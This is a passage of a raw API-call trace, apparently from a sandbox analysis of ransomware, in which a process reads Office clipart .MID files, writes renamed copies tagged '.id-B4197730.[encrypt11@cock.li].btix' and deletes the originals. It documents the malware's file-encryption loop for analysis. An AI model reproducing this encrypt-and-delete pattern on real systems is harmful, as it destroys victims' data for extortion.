4 [0136.263] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.263] lstrlenW (lpString=".1cd") returned 4 [0136.263] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.264] lstrlenW (lpString=".jpg") returned 4 [0136.264] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.264] lstrlenW (lpString=".doc") returned 4 [0136.264] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.264] lstrlenW (lpString=".docx") returned 5 [0136.264] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0136.264] lstrlenW (lpString=".pdf") returned 4 [0136.264] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.264] lstrlenW (lpString=".xls") returned 4 [0136.264] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.264] lstrlenW (lpString=".xlsx") returned 5 [0136.264] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0136.264] lstrlenW (lpString=".ppt") returned 4 [0136.264] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.264] lstrlenW (lpString=".zip") returned 4 [0136.264] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.264] lstrlenW (lpString=".rar") returned 4 [0136.264] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.264] lstrlenW (lpString=".bz2") returned 4 [0136.264] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.264] lstrlenW (lpString=".7z") returned 3 [0136.264] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.264] lstrlenW (lpString=".dbf") returned 4 [0136.264] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.264] lstrlenW (lpString=".1cd") returned 4 [0136.265] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.265] lstrlenW (lpString=".jpg") returned 4 [0136.265] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.265] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.265] lstrlenW (lpString="GRID_01.MID") returned 11 [0136.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0136.593] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6331) returned 1 [0136.593] CloseHandle (hObject=0x534) returned 1 [0136.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0136.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0136.593] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.593] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.594] GetLastError () returned 0x0 [0136.594] ReadFile (in: hFile=0x534, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x18bb, lpOverlapped=0x0) returned 1 [0136.622] WriteFile (in: hFile=0x4b4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0136.623] ReadFile (in: hFile=0x534, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.623] WriteFile (in: hFile=0x4b4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.623] SetEndOfFile (hFile=0x4b4) returned 1 [0136.868] CloseHandle (hObject=0x4b4) returned 1 [0136.883] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.883] SetEndOfFile (hFile=0x534) returned 1 [0136.886] CloseHandle (hObject=0x534) returned 1 [0136.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0136.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.887] lstrlenW (lpString=".doc") returned 4 [0136.887] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.887] lstrlenW (lpString=".docx") returned 5 [0136.887] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.887] lstrlenW (lpString=".pdf") returned 4 [0136.887] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.887] lstrlenW (lpString=".xls") returned 4 [0136.887] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.887] lstrlenW (lpString=".xlsx") returned 5 [0136.887] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.887] lstrlenW (lpString=".ppt") returned 4 [0136.887] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.887] lstrlenW (lpString=".zip") returned 4 [0136.887] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.887] lstrlenW (lpString=".rar") returned 4 [0136.887] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.887] lstrlenW (lpString=".bz2") returned 4 [0136.887] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.887] lstrlenW (lpString=".7z") returned 3 [0136.887] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.888] lstrlenW (lpString=".dbf") returned 4 [0136.888] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.888] lstrlenW (lpString=".1cd") returned 4 [0136.888] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.888] lstrlenW (lpString=".jpg") returned 4 [0136.888] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.888] lstrlenW (lpString=".doc") returned 4 [0136.888] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.888] lstrlenW (lpString=".docx") returned 5 [0136.888] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.888] lstrlenW (lpString=".pdf") returned 4 [0136.888] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.888] lstrlenW (lpString=".xls") returned 4 [0136.888] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.888] lstrlenW (lpString=".xlsx") returned 5 [0136.888] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.888] lstrlenW (lpString=".ppt") returned 4 [0136.888] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.888] lstrlenW (lpString=".zip") returned 4 [0136.888] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.888] lstrlenW (lpString=".rar") returned 4 [0136.888] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.888] lstrlenW (lpString=".bz2") returned 4 [0136.888] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.888] lstrlenW (lpString=".7z") returned 3 [0136.888] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.888] lstrlenW (lpString=".dbf") returned 4 [0136.888] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.889] lstrlenW (lpString=".1cd") returned 4 [0136.889] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0136.889] lstrlenW (lpString=".jpg") returned 4 [0136.889] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.889] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.889] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0136.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0136.897] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6644) returned 1 [0136.897] CloseHandle (hObject=0x534) returned 1 [0136.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0136.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0136.898] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.898] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.899] GetLastError () returned 0x0 [0136.899] ReadFile (in: hFile=0x534, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x19f4, lpOverlapped=0x0) returned 1 [0136.908] WriteFile (in: hFile=0x4dc, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x1a00, lpOverlapped=0x0) returned 1 [0136.909] ReadFile (in: hFile=0x534, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.909] WriteFile (in: hFile=0x4dc, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.909] SetEndOfFile (hFile=0x4dc) returned 1 [0136.912] CloseHandle (hObject=0x4dc) returned 1 [0136.913] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.913] SetEndOfFile (hFile=0x534) returned 1 [0136.927] CloseHandle (hObject=0x534) returned 1 [0136.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0137.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.222] lstrlenW (lpString=".doc") returned 4 [0137.222] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.223] lstrlenW (lpString=".docx") returned 5 [0137.223] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.223] lstrlenW (lpString=".pdf") returned 4 [0137.223] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.223] lstrlenW (lpString=".xls") returned 4 [0137.223] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.223] lstrlenW (lpString=".xlsx") returned 5 [0137.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.223] lstrlenW (lpString=".ppt") returned 4 [0137.223] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.223] lstrlenW (lpString=".zip") returned 4 [0137.223] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.223] lstrlenW (lpString=".rar") returned 4 [0137.223] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.223] lstrlenW (lpString=".bz2") returned 4 [0137.223] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.223] lstrlenW (lpString=".7z") returned 3 [0137.223] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.223] lstrlenW (lpString=".dbf") returned 4 [0137.223] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.223] lstrlenW (lpString=".1cd") returned 4 [0137.223] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.224] lstrlenW (lpString=".jpg") returned 4 [0137.224] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.224] lstrlenW (lpString=".doc") returned 4 [0137.224] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.224] lstrlenW (lpString=".docx") returned 5 [0137.224] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.224] lstrlenW (lpString=".pdf") returned 4 [0137.224] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.224] lstrlenW (lpString=".xls") returned 4 [0137.224] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.224] lstrlenW (lpString=".xlsx") returned 5 [0137.224] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.224] lstrlenW (lpString=".ppt") returned 4 [0137.224] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.224] lstrlenW (lpString=".zip") returned 4 [0137.224] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.224] lstrlenW (lpString=".rar") returned 4 [0137.224] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.224] lstrlenW (lpString=".bz2") returned 4 [0137.224] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.224] lstrlenW (lpString=".7z") returned 3 [0137.224] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.224] lstrlenW (lpString=".dbf") returned 4 [0137.224] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.224] lstrlenW (lpString=".1cd") returned 4 [0137.224] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0137.225] lstrlenW (lpString=".jpg") returned 4 [0137.225] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.248] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.248] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0137.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.248] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10122) returned 1 [0137.248] CloseHandle (hObject=0x530) returned 1 [0137.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0137.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.249] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.249] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0137.296] GetLastError () returned 0x0 [0137.296] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x278a, lpOverlapped=0x0) returned 1 [0137.297] WriteFile (in: hFile=0x548, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2790, lpOverlapped=0x0) returned 1 [0137.298] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.298] WriteFile (in: hFile=0x548, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.298] SetEndOfFile (hFile=0x548) returned 1 [0137.304] CloseHandle (hObject=0x548) returned 1 [0137.304] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.304] SetEndOfFile (hFile=0x530) returned 1 [0137.306] CloseHandle (hObject=0x530) returned 1 [0137.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0137.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.307] lstrlenW (lpString=".doc") returned 4 [0137.307] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.307] lstrlenW (lpString=".docx") returned 5 [0137.307] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.307] lstrlenW (lpString=".pdf") returned 4 [0137.307] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.307] lstrlenW (lpString=".xls") returned 4 [0137.307] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.308] lstrlenW (lpString=".xlsx") returned 5 [0137.308] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.308] lstrlenW (lpString=".ppt") returned 4 [0137.308] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.308] lstrlenW (lpString=".zip") returned 4 [0137.308] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.308] lstrlenW (lpString=".rar") returned 4 [0137.308] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.308] lstrlenW (lpString=".bz2") returned 4 [0137.308] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.308] lstrlenW (lpString=".7z") returned 3 [0137.308] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.308] lstrlenW (lpString=".dbf") returned 4 [0137.308] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.308] lstrlenW (lpString=".1cd") returned 4 [0137.308] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.308] lstrlenW (lpString=".jpg") returned 4 [0137.308] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.308] lstrlenW (lpString="C:\\Program Files\\Microsoft 